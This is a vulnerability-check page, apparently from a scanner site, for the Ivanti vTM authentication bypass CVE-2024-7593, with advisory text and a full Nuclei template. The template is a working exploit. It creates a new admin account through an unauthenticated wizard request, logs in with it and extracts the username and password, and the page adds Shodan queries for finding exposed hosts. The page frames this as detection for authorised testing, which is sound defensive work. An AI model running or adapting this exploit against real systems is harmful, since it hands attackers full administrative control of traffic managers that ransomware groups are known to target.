Ivanti vTM - Authentication Bypass

Exploited in the wild. Listed by CISA on 2024-09-24; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.

Impact

Unauthenticated attackers can bypass authentication to access the admin panel, gaining full administrative control of the Ivanti vTM system and potentially modifying traffic management configurations.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers
Positive when: contains "wizardtitletext"
Send: @timeout: 15s
Positive when: contains in header "Location: /apps/zxtm/" and "Set-Cookie: ZeusTMZAUTH=" and "Set-Cookie: ZeusTMZAUTHTIME=" AND status 302

Run it with nuclei: nuclei -id CVE-2024-7593 -u <target>

The full check

id: CVE-2024-7593

info:
  name: Ivanti vTM - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.
  impact: |
    Unauthenticated attackers can bypass authentication to access the admin panel, gaining full administrative control of the Ivanti vTM system and potentially modifying traffic management configurations.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7593
    - https://packetstormsecurity.com/files/download/179906/ivantiadc99-bypass.txt
    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7593
    cwe-id: CWE-287
    epss-score: 0.99999
    epss-percentile: 0.99991
  metadata:
    verified: true
    max-request: 2
    vendor: ivanti
    product: virtual traffic manager
    shodan-query:
      - http.favicon.hash:1862800928
      - html:"apps/zxtm/login.cgi"
  tags: packetstorm,cve2024,cve,auth-bypass,ivanti,intrusive,kev,vkev,vuln
flow: http(1) && http(2)

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers HTTP/1.1
        Host: {{Hostname}}

        _form_submitted=form&create_user=Create&group=admin&newusername={{username}}&password1={{password}}&password2={{password}}

    matchers:
      - type: word
        part: body
        words:
          - "wizardtitletext"
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /apps/zxtm/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {[RootURL]}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycznFUOqD0Y01A9B5
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Referer: {{RootURL}}/apps/zxtm/login.cgi

        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="_form_submitted"

        form
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_username"

        {{username}}
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_password"

        {{password}}
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_submit"

        Login
        ------WebKitFormBoundarycznFUOqD0Y01A9B5--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: /apps/zxtm/"
          - "Set-Cookie: ZeusTMZAUTH="
          - "Set-Cookie: ZeusTMZAUTHTIME="
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ username'
          - '"PASS: "+ password'

References

Use this check only on systems you are authorised to test. Where the data comes from